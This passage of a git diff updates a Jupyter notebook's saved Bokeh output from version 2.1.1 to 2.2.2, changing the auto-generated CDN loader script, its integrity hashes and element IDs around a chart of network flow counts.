- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -3060,7 +3300,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -3089,7 +3329,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"2470\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"3116\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -3106,7 +3346,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2470\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2470\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3116\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3116\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -3120,7 +3360,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -3132,8 +3372,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"1ee19764-9e9a-4951-9fc1-e8a667291385\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2472\"},{\"id\":\"2868\"}]},\"id\":\"2898\",\"type\":\"Column\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2934\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"2506\"}},\"id\":\"2511\",\"type\":\"CDSView\"},{\"attributes\":{\"label\":{\"value\":\"ssh\"},\"renderers\":[{\"id\":\"2801\"},{\"id\":\"2836\"}]},\"id\":\"2832\",\"type\":\"LegendItem\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2935\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2520\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2818\",\"type\":\"Selection\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2936\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2817\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2521\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"2506\"},\"glyph\":{\"id\":\"2508\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2509\"},\"selection_glyph\":null,\"view\":{\"id\":\"2511\"}},\"id\":\"2510\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2937\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"2508\",\"type\":\"VBar\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2522\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2938\",\"type\":\"DaysTicker\"},{\"attributes\":{\"below\":[{\"id\":\"2483\"}],\"center\":[{\"id\":\"2486\"},{\"id\":\"2490\"},{\"id\":\"2531\"}],\"left\":[{\"id\":\"2487\"}],\"min_border_left\":50,\"plot_height\":400,\"plot_width\":900,\"renderers\":[{\"id\":\"2510\"},{\"id\":\"2536\"},{\"id\":\"2561\"},{\"id\":\"2588\"},{\"id\":\"2615\"},{\"id\":\"2644\"},{\"id\":\"2673\"},{\"id\":\"2704\"},{\"id\":\"2735\"},{\"id\":\"2768\"},{\"id\":\"2801\"},{\"id\":\"2836\"}],\"right\":[{\"id\":\"2867\"}],\"title\":{\"id\":\"2473\"},\"toolbar\":{\"id\":\"2497\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"2475\"},\"x_scale\":{\"id\":\"2479\"},\"y_range\":{\"id\":\"2477\"},\"y_scale\":{\"id\":\"2481\"}},\"id\":\"2472\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"below\":[{\"id\":\"2879\"},{\"id\":\"2884\"}],\"center\":[{\"id\":\"2882\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"2891\"}],\"title\":{\"id\":\"2869\"},\"toolbar\":{\"id\":\"2883\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"2871\"},\"x_scale\":{\"id\":\"2875\"},\"y_range\":{\"id\":\"2873\"},\"y_scale\":{\"id\":\"2877\"}},\"id\":\"2868\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2523\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2939\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2524\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2940\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"source\":{\"id\":\"2797\"}},\"id\":\"2837\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2525\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"2835\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@FlowStartTime\":\"datetime\"},\"tooltips\":[[\"FlowType\",\"@FlowType\"],[\"FlowStartTime\",\"@FlowStartTime{%F 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Application\",\"version\":\"2.2.2\"}};\n",
+ " var render_items = [{\"docid\":\"0fac9461-acf3-4fdc-9ab2-e47478a0153c\",\"root_ids\":[\"3544\"],\"roots\":{\"3544\":\"b536aa9c-1803-485d-bb4a-d397433f83e4\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -3160,7 +3400,7 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
- "id": "2898"
+ "id": "3544"
}
},
"output_type": "display_data"
@@ -3208,13 +3448,12 @@
},
{
"cell_type": "code",
- "execution_count": 17,
+ "execution_count": 18,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:15:21.066890Z",
"start_time": "2020-08-25T19:15:17.993889Z"
- },
- "scrolled": false
+ }
},
"outputs": [
{
@@ -3230,7 +3469,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -3400,7 +3639,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"3221\");\n",
+ " var el = document.getElementById(\"3821\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -3466,7 +3705,7 @@
" document.body.appendChild(element);\n",
" }\n",
"\n",
- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -3491,7 +3730,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -3520,7 +3759,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"3221\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"3821\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -3537,7 +3776,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3221\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3221\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
